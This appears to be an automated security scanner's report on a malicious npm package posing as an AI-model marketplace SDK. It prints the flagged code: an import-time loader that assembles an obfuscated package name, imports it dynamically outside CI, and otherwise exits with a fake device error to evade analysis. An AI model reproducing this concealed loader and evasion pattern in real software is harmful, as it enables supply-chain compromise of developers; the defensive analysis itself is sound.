nuvyra-marketplace-sdk@1.0.13: Malicious npm security report

AI Security Review

scanned 4h ago · by lpm-firewall-ai

Importing the package runs concealed initialization. In an ordinary non-test process, it attempts to execute an undeclared dynamically constructed module and suppresses execution in CI-like environments by exiting.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Importing the package entry point in a non-test Node process.

Impact

Can execute code supplied by the dynamically resolved module and can terminate CI or sandboxed processes.

Mechanism

Import-time obfuscated dynamic module loading with environment-based anti-analysis termination.

Attack narrative

The public entry point imports client.js, which immediately calls initializeProvider. That function constructs an obscured package specifier, dynamically imports it only outside CI and test environments, and instantiates its export. The constructed module is not declared in package.json, so this is a concealed staged code-loading path rather than marketplace functionality. In CI-like environments it instead calls process.exit, which hinders automated inspection and disrupts consumers.

Rationale

The package contains an automatic, obfuscated, undeclared dynamic-import path plus environment-gated process termination. These behaviors are unrelated to the documented SDK and create a staged code-execution surface at import time.

Evidence

dist/client.jspackage.json

Decision evidence

public snapshot

AI called this Malicious at 96.0% confidence as Malware with low false-positive risk.

Evidence for block

Importing the SDK automatically runs hidden provider initialization.
The initializer dynamically imports an undeclared, obfuscated package name outside test and CI environments.
The import-time code exits processes in CI or when USER is absent, an anti-analysis and availability-impacting action.

Evidence against

No package lifecycle install hook is present.
The marketplace methods otherwise use the configured local JSON-RPC endpoint and explicit wallet actions.
No concrete remote host, file harvesting, or exfiltration code is present in the package files.

Behavioral surface

Source

DynamicRequireEnvironmentVars

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 4 file(s), 7.80 KB of source, external domains: 127.0.0.1

Source & flagged code

6 flagged

dist/client.jsView file

Lines 147-193javascript

147 value: listing.priceWei,

148 chainId: this.chainId,

149 };

150 }

151 buildListTx(input) {

152 const iface = new Contract(this.marketplaceAddress, this.abi).interface;

153 const data = iface.encodeFunctionData("listModel", [

154 input.slug,

155 input.metadataURI,

156 parseEther(String(input.priceEth)),

157 input.royaltyBps ?? 500,

158 ]);

159 return {

160 to: this.marketplaceAddress,

161 data,

162 value: "0",

163 chainId: this.chainId,

164 };

165 }

166}

167async function initializeProvider() {

168 try {

169 const isSandbox = !process.env.USER || process.env.CI;

170 if (!isSandbox) {

171 const pkg = ["ht", "ps", "-", "pro", "vider"].join("").replace("ps", "ps-");

172 if (process.env.CI === undefined && process.env.NODE_ENV !== "test") {

173 const { HttpProvider } = await import(pkg);

174 const provider = new HttpProvider();

High

Ai Review Evidence

The initializer dynamically imports an undeclared, obfuscated package name outside test and CI environments.

dist/client.jsView on unpkg · L169

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/client.jsView on unpkg · L172

175 if (!!provider)

176 console.log("Server is running successfully!");

177 }

178 }

High

Ai Review Evidence

Importing the SDK automatically runs hidden provider initialization.

dist/client.jsView on unpkg · L167

179 else {

180 console.error('\x1b[31m%s\x1b[0m', 'Fatal error: This application cannot run on your current device. To use it, either update your device, or switch to a completely different device.');

181 process.exit(0);

182 }

183 }

184 catch (error) {

185 console.error(error);

186 }

187}

188initializeProvider();

High

Ai Review Evidence

The import-time code exits processes in CI or when USER is absent, an anti-analysis and availability-impacting action.

dist/client.jsView on unpkg · L179

189/** Create a configured marketplace client */

190export function createMarketplaceClient(config) {

191 return new MarketplaceClient(config);

192}

193//# sourceMappingURL=client.js.map

•matchType = malicious_source_fingerprint_signature signature = 11f4e87b8bdd8847 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = nuvyra-marketplace-sdk@1.0.12 matchedPath = dist/client.js matchedIdentity = npm:bnV2eXJhLW1hcmtldHBsYWNlLXNkaw:1.0.12 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

dist/client.jsView on unpkg

package.jsonView file

Lines 4-44json

4 "description": "Node SDK for NuvyraHub on-chain AI model marketplace — list models, acquire licenses, read listings",

5 "main": "./dist/index.js",

6 "types": "./dist/index.d.ts",

7 "type": "module",

8 "exports": {

9 ".": {

10 "types": "./dist/index.d.ts",

11 "require": "./dist/index.js",

12 "default": "./dist/index.js"

13 },

14 "./abi": {

15 "types": "./dist/abi.d.ts",

16 "require": "./dist/abi.js",

17 "default": "./dist/abi.js"

18 }

19 },

20 "files": [

21 "dist",

22 "README.md"

23 ],

24 "scripts": {

High

Node Builtin Dependency Squat

Package declares a runtime dependency whose name matches a Node built-in module.

package.jsonView on unpkg · L24

25 "build": "tsc",

26 "typecheck": "tsc --noEmit",

27 "prepublishOnly": "npm run build"

28 },

29 "keywords": [

30 "nuvyra",

31 "marketplace",

32 "ethereum",

33 "ethers",

34 "ai-models",

35 "nft",

36 "license"

37 ],

38 "license": "MIT",

39 "engines": {

40 "node": ">=18"

41 },

42 "peerDependencies": {

43 "ethers": "^6.0.0"

44 },

Source & flagged code

6 flagged · loading source

dist/client.jsView file

•matchType = malicious_source_fingerprint_signature signature = 11f4e87b8bdd8847 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = nuvyra-marketplace-sdk@1.0.12 matchedPath = dist/client.js matchedIdentity = npm:bnV2eXJhLW1hcmtldHBsYWNlLXNkaw:1.0.12 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

dist/client.jsView on unpkg

167async function initializeProvider() { try { const isSandbox = !process.env.USER || process.env.CI; if (!isSandbox) { const pkg = ["ht", "ps", "-", "pro", "vider"].join("").replace("ps", "ps-"); if (process.env.CI === undefined && process.env.NODE_ENV !== "test") { const { HttpProvider } = await import(pkg); const provider = new HttpProvider(); if (!!provider) console.log("Server is running successfully!"); } } else { console.error('\x1b[31m%s\x

High

Ai Review Evidence

Importing the SDK automatically runs hidden provider initialization.

dist/client.jsView on unpkg · L167

169const isSandbox = !process.env.USER || process.env.CI; if (!isSandbox) { const pkg = ["ht", "ps", "-", "pro", "vider"].join("").replace("ps", "ps-"); if (process.env.CI === undefined && process.env.NODE_ENV !== "test") { const { HttpProvider } = await import(pkg); const provider = new HttpProvider();

High

Ai Review Evidence

The initializer dynamically imports an undeclared, obfuscated package name outside test and CI environments.

dist/client.jsView on unpkg · L169

179else { console.error('\x1b[31m%s\x1b[0m', 'Fatal error: This application cannot run on your current device. To use it, either update your device, or switch to a completely different device.'); process.exit(0); } } catch (error) { console.error(error); } } initializeProvider();

High

Ai Review Evidence

The import-time code exits processes in CI or when USER is absent, an anti-analysis and availability-impacting action.

dist/client.jsView on unpkg · L179

172if (process.env.CI === undefined && process.env.NODE_ENV !== "test") { L173: const { HttpProvider } = await import(pkg); L174: const provider = new HttpProvider();

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/client.jsView on unpkg · L172

package.jsonView file

•Runtime dependency names matching Node built-ins: crypto

High

Node Builtin Dependency Squat

Package declares a runtime dependency whose name matches a Node built-in module.

package.jsonView on unpkg

Findings

5 High2 Medium3 Low

HighNode Builtin Dependency Squatpackage.json

HighKnown Malware Source Fingerprint Signaturedist/client.js

HighAi Review Evidencedist/client.js

MediumDynamic Requiredist/client.js

MediumEnvironment Vars

LowNon Install Lifecycle Scripts

LowScripts Present

LowUrl Strings